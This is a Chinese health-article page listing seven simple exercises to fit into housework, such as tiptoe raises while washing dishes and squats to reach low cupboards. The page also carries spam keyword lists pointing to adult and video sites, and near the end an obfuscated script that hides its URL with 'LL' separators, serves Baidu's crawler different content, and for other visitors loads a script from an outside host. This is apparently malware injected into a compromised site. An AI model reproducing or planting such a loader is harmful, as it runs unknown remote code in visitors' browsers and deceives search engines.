久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

如何邊做家務邊健身?

2017-04-04 22:21:21  來源:360常識網   熱度:
導語:洗碗時若站立時間過長會使你的腰部肌肉感到疲勞。結束洗碗池邊的工作時,兩腳分開與肩同寬,距池邊有一大步距離,雙手扶著水池邊緩緩彎腰,拉伸腰背肌肉,下壓5次。

如何邊做家務邊健身?

如何邊做家務邊健身?

如何邊做家務邊健身?

有人做家務是因為想省錢不用請保姆,有的人做家務是為了健康。那家務健身該如何進行才能更加的健康呢?到底在家務健身中我們應該掌握哪些技巧呢?只有用正確的方法才能夠讓你事半功倍的輕松健身。讓你家務健身一同進行。

1、單腿:

站立切菜時,將全身重心放在一條腿上,另一條腿側邁出一步,腳尖著地,腿用力伸直,向側面提起,保持20秒,換另一側。

2、踮腳:

洗碗或洗菜時,雙腿稍稍用力,踮起腳尖,吸氣,抬起,呼氣,放下,整套動作做10次,這樣既可以拉長小腿肌肉,又可以減輕長時間站立的疲勞。

3、下蹲:

將炊具放在櫥柜最下層,每次必須蹲下才能拿到炊具。下蹲時兩腿并攏,腰部以上部位用力挺直,這樣可以鍛煉腰部及大腿的力量。

4、彎腰:

洗碗時若站立時間過長會使你的腰部肌肉感到疲勞。結束洗碗池邊的工作時,兩腳分開與肩同寬,距池邊有一大步距離,雙手扶著水池邊緩緩彎腰,拉伸腰背肌肉,下壓5次。

5、轉頭:

利用炒菜等待的間隙,站在鍋邊活動一下頭部及肩部。頭部向左和右交替繞環。

6、轉腰:

洗碗或洗菜時順便多運動一下腰,不要把洗好的東西就近放在手旁,雙腳原地不動,通過轉腰將洗凈的物品放在身后的位置。

7、手臂伸展:

拿取較高位置的調料或炊具時,不要隨意地一拿了事,要用力伸展手臂,將力量由大臂一直傳導至指尖,同時雙腿用力,踮腳尖,低頭剝毛豆,手臂適當抬高,不但緩解了頸椎壓力,還能讓手臂得到鍛煉。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 午夜影视 | 国产一区二区三区精品久久久 | 免费看的黄网站 | 日韩一区二区三区免费视频 | 欧美日韩一区二区三区在线观看 | 午夜视频一区二区三区 | 精品国产乱码久久久久久丨区2区 | 黄网在线 | 久久三区| 欧美一级精品片在线看 | 久久99精品国产.久久久久 | 绯色av一区二区三区在线高清 | 国产精品视频一区二区免费不卡 | 综合在线一区 | 亚洲不卡视频在线 | 99热这里都是精品 | 免费99精品国产自在在线 | 在线视频这里只有精品 | 欧美精品在线观看 | 精品一区二区久久 | 青青草免费在线 | 美女又黄又免费 | 在线看av的网址 | 在线视频91 | 成人三级影院 | 日韩1区3区4区第一页 | 欧美精品一区二区三区在线四季 | 国产精品精品视频一区二区三区 | 欧美精品三区 | 国产免费看 | 日本aa级毛片免费观看 | 国产精品一区二区在线 | 成人久久久 | 青青草原国产在线观看 | 久久久久亚洲av毛片大全 | 热re99久久精品国产99热 | 午夜精品久久久久久99热软件 | 欧美激情在线精品一区二区三区 | 成人欧美在线视频 | 国产精品综合一区二区 | 亚洲精品乱码久久久久久国产主播 |